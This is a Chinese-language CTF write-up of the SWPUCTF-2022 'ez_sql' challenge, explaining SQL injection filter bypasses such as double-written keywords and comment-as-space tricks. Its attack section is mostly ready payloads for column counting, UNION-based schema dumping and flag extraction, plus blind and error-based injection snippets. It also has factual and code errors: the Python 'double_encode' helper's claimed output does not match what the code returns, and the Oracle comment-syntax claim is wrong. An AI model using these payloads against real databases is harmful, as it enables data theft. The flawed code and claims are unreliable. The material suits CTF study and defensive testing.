CTF SQL注入实战:SWPUCTF-2022 ez_sql 双写绕过与注释符技巧解析

CTF SQL注入实战:SWPUCTF-2022 ez_sql 双写绕过与注释符技巧解析

CTF SQL注入实战:双写绕过与注释符技巧深度解析

在网络安全竞赛中,SQL注入始终是Web安全赛道的核心考点。本文将深入剖析SWPUCTF-2022 ez_sql赛题中展现的双写绕过与注释符技术,通过5种实战场景演示如何突破关键词过滤机制。

1. SQL注入防御机制与突破思路

现代Web应用常采用以下防御手段阻止SQL注入:

  • 关键词过滤:拦截unionorinformation_schema等敏感词汇
  • 符号过滤:清除单引号、注释符等特殊符号
  • 预编译语句:使用参数化查询隔离数据与指令

当遇到关键词过滤时,可采用以下变形策略:

原始语句:union select 1,2,3 双写变形:ununionion select 1,2,3 大小写混合:UnIoN sElEcT 1,2,3 注释分割:uni/**/on sele/**/ct 1,2,3

提示:不同数据库的注释语法存在差异,MySQL支持#--/**/,而Oracle仅支持--

2. 双写绕过技术详解

当防御系统采用简单字符串匹配时,双写技术可有效绕过检测。其核心原理是:

  1. 将敏感词拆分为两部分
  2. 在中间插入被过滤的相同关键词
  3. 系统过滤后剩余部分重新组合成完整关键词

典型变形对照表

原始关键词双写变形过滤后结果
unionununionionunion
oroorror
information_schemainfoorrmation_schemainformation_schema

实战案例:突破information_schema过滤

# 错误写法(直接被拦截) select table_name from information_schema.tables # 正确变形(成功绕过) select table_name from infoorrmation_schema.tables

3. 注释符的创造性应用

注释符在绕过中有三大核心作用:

  1. 分割关键词uni/**/on
  2. 替代空格select/**/1,2,3
  3. 截断后续语句' or 1=1 --

SWPUCTF赛题中注释符的典型应用:

nss=-1'/**/oorrder/**/by/**/4#

此payload实现了:

  • /**/替代所有空格
  • 双写绕过or过滤
  • #注释后续单引号

4. 复合绕过技术实战

当遇到多重过滤时,需组合多种技术。以下是完整解题流程:

  1. 判断注入类型

    nss=1' and '1'='1 # 字符型验证
  2. 确定字段数

    nss=-1'/**/oorrder/**/by/**/3#
  3. 爆库名(双写+注释)

    nss=-1'/**/ununionion/**/select/**/1,database(),3#
  4. 爆表名(十六进制编码辅助)

    nss=-1'/**/ununionion/**/select/**/1,group_concat(table_name),3/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema=0x4E53535F6462#
  5. 获取flag

    nss=-1'/**/ununionion/**/select/**/1,Secr3t,flll444g/**/from/**/NSS_tb#

5. 防御方案与进阶技巧

开发人员防护建议

  • 使用预编译语句(PreparedStatement)
  • 实现正则表达式过滤:/(union|select|information_schema)/i
  • 限制数据库用户权限

攻击者进阶技巧

# 自动化双写转换工具示例 def double_encode(keyword): mid = len(keyword) // 2 return keyword[:mid] + keyword + keyword[mid:] print(double_encode("information_schema")) # 输出:infinformation_schemaormation_schema

在真实渗透测试中,还需结合:

  • 报错注入:updatexml()提取数据
  • 时间盲注:if(ascii(substr(database(),1,1))>97,sleep(3),0)
  • 布尔盲注:通过页面差异判断条件真假

掌握这些技术的本质在于理解SQL解析原理,而非死记payload。建议搭建本地测试环境(如DVWA、SQLi-Labs)进行反复练习,观察不同变形方式对WAF的影响。